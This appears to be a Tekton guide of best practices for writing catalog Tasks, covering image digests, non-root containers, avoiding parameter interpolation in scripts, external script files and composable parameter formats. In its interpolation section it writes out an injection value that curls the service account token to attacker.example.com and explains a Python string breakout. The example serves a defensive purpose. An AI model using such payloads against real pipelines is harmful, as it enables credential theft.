recommendations.md

Task Authoring Recommendations

This is a collection of recommendations for developers authoring Tasks, with justifications for why they are recommended.

These are just recommendations, and there may be situations where the recommendation cannot or should not be followed.

This is a living document. Recommendations may be added in the future, or existing recommendations may change or be clarified.

If you have a question or would like to add a recommendation, please file an issue.

Reference Images by Digest

Where possible, an image used in a step should be referenced by digest (i.e., busybox@sha256:abcde...) instead of by tag (busybox:latest). This ties the Task to the exact specific version of the image, and prevents unexpected changes.

Referencing by tag (:latest or :v1.2.3) means that an owner of that image can push a new image to that tag, and all Tasks that reference the image by that tag will start using it immediately. This can lead to unexpected Task failures, or silent behavior changes, including security-sensitive changes.

Run as non root and non privileged

One of the security best practices of containers is to run them as a non-root user. Usually this is achieved by having a user defined in your image and having it referred in your image configuration. You can see here for details on best practice with Dockerfiles.

You should also avoid as much as possible to run containers as privileged.

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

On the catalog, this means that you should, where possible:

• ensure the image you are using can run as non-root ; any step that do not specify explicitly that it needs to be run as root should work when running as a user.

• if your step really need to be run as root, specify it in the task using securityContext, same applies for privileged.

  # […]
    steps:
    - name: foo
      image: myimage
      securityContext:
        runAsUser: 0 # root uid == 0
        privileged: true

Be as portable and compatible as possible

Make use of recent Kubernetes and Tekton features only when a user will expect it from the task's purpose. Your task may be of great use to users that have good reason not to upgrade right now. Your task should include the tekton.dev/pipelines.minVersion.

Remember that there are other languages than sh and bash

Yes, sh and bash are DSLs for running processes, but sometimes there are other languages more suited for what you're trying to do. Tekton Pipelines' main positive attribute is the ability to have the right tool available for every step, including the interpreter. Use python or another scripting languages when that is warranted.

A python example:

  steps:
    - name: foo
      image: python:alpine
      script: |
        #!/bin/env python
        import os
        print(os.getenv('PARAM_ONE'))

Don't use interpolation in scripts or string arguments

Using $(tekton.task) interpolation in the script or as a sh -c string is extremely fragile. The interpolation done by tekton is not aware of the context in which the interpolation happens. A space, a quote sign, a backslash or newline could easily thwart an otherwise beautiful script.

  steps:
  - name: foo
    image: myimage
    script: |
      echo $(params.one)

If params.one happens to contain a quote, then the resulting shell script might look like this:

echo '

This script is not valid, and the task will fail:

sh: 1: Syntax error: Unterminated quoted string

This goes for standard shell scripts, python scripts or any other script where tekton ends up interpolating variables. Different languages have different quoting rules in different contexts, but a maliciously formed parameter would be able to break out of any quoting.

No amount of escaping will be air-tight. Even python """ strings. A maliciously formed parameter just needs to include another """ to close the string:

    script: |
      #!/bin/env python
      value = """$(params.one)"""
      print(value)

If the parameter has the value """ followed by a line break, then the anything after the parameter's newline will be interpreted as python code, probably causing the script to fail, or worse.

Instead, use environment variables or arguments, which are not interpolated into the script source code:

  steps:
  - name: foo
    image: myimage
    env:
      - name: PARAM_ONE
        value: $(params.one)
    args:
      - $(params.one)
    script: |
      echo "$PARAM_ONE"
      echo "$1"

The script will now correctly print out the value of params.one, regardless of what it contains; both environment variables and arguments.

It is worth mentioning that an interpolated script (i.e. one that has $(params.values) in it) is a security problem. If an attacker is able to send in a parameter value that looks something like $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)), then the attacker would be able to exfiltrate the service account token for the TaskRun.

Extract task code (scripts) to their own files

As a task grows in complexity, it becomes harder and harder to maintain it in-line. Because you have already avoided interpolation in the script, there is no real need for the script to be in-lined into the Task.

Use a ConfigMap for your script, and mount the configmap in the task. Use a single command: that executes your script (optionally with environment variables and with parameters):

  volumes:
  - name: scripts
    configMap:
      name: my-task-scripts
      defaultMode: 0755
  steps:
  - name: foo
    image: myimage
    volumeMounts:
    - name: scripts
      mountPath: /mnt/scripts
    volume
    command:
    - /mnt/scripts/my-command.sh

This allows you to create and update your configmap from a real script. An external script-file allows you to edit it stand-alone as a proper script file, rather than in-lined into a tekton task yaml file. This gives you better completion, syntax checking, and many other benefits. You can even run the script locally.

#!/bin/bash
# my-command.sh
echo "${PARAM_ONE-Hello world}"

To create the configmap:

kubectl create configmap my-task-scripts --from-file=my-command.sh

For bonus points, use a kustomize generator to create your task; this allows you simple "kubectl apply -k".

Test and verify your task code

Use sound engineering principles when building Tekton Task code. Since the code can reside in external files, it's possible to split them up and have test harnesses that test various code paths. Have a build system that runs the task's test harness whenever you make changes to them before you commit, and of course a Tekton Pipeline to verify that your tests are passing before merging.

Create idempotent tasks and pipelines

When you design tasks and pipelines, they should, as much as possible be written in an idempotent manner. Idempotency means that it is safe to re-execute, and this can be used to your advantage. If designed properly, it can also allow you to skip work that has already happened (see level-based approach).

Clearly define the format of input parameters and results

Specify the format when defining parameters and results, even down to trailing whitespace. Specify the intention behind them. For parameters, indicate if there are other tasks that might have an output that matches. For a result, indicate where you might use the result.

This is especially important when building tasks that may be composed in different ways, and where the results of some tasks are intended to be the parameters to other tasks.

Use composable parameter formats

Especially when passing lists of items between tasks (i.e. a list of items from one task, designed to be the parameter of another task), avoid using structured strings, tab-separated values, or even line-separated values. Such formats are prone to error due to simple whitespace mistakes, or a rogue value that contains a hard-to-detect newline.

Instead use a more structured data format like e.g. a json stream or more formally JSON Text Sequences RFC 7464, and use jq to process the different records that are passed in to a task. This ensures you can pass almost any conceivable type of data without any escaping issues.

# task foo
  steps:
  - name: foo
    image: myimage
    script: |
      echo '{"value": 123}' >> $(results.data.path)

# task other
  steps:
  - name: bar
    image: myimage
    script: |
      printf '{"size": "large"}' >> $(results.data.path)
      printf '{"size": "small", "fake": true}' >> $(results.data.path)

# pipeline
  - name: example
    taskRef:
      kind: Task
      name: pipeline
    params:
    - name: data
      value: |
        $(tasks.foo.results.data)
        $(tasks.bar.results.data)

Here, the "foo" and "bar" task results and the "data" parameter of the pipeline have been defined to be of type JSON Stream, allowing the pipeline author to construct the pipeline parameter value directly by concatenating the results. This construct does not fall apart when the data is on one line or split on multiple lines.

Use "level-based" approach to your advantage

If you have a task that creates another pipelinerun in order to complete its work, you should leverage the fact that kubectl apply has "create-or-update" semantics. If you apply a pipelinerun that already exists, it means that you don't need to rerun the pipeline.

For example, if you have a task that takes a commit as a parameter, say abc123def, and its job is to create a pipelinerun with that commit as a parameter (and the other pipeline is idempotent, and does not need to be re-run for the same commit), then you could apply the pipelinerun run-abc123def. The first time, run-abc123def won't exist, and a PipelineRun will be created, running the pipeline. If, at a later point in time, the task happens to be run with the same commit, it will again apply the pipelinerun run-abc123def. Since it already exists, nothing happens.

This technique can be used to "short circuit" work when it is not necessary to re-run.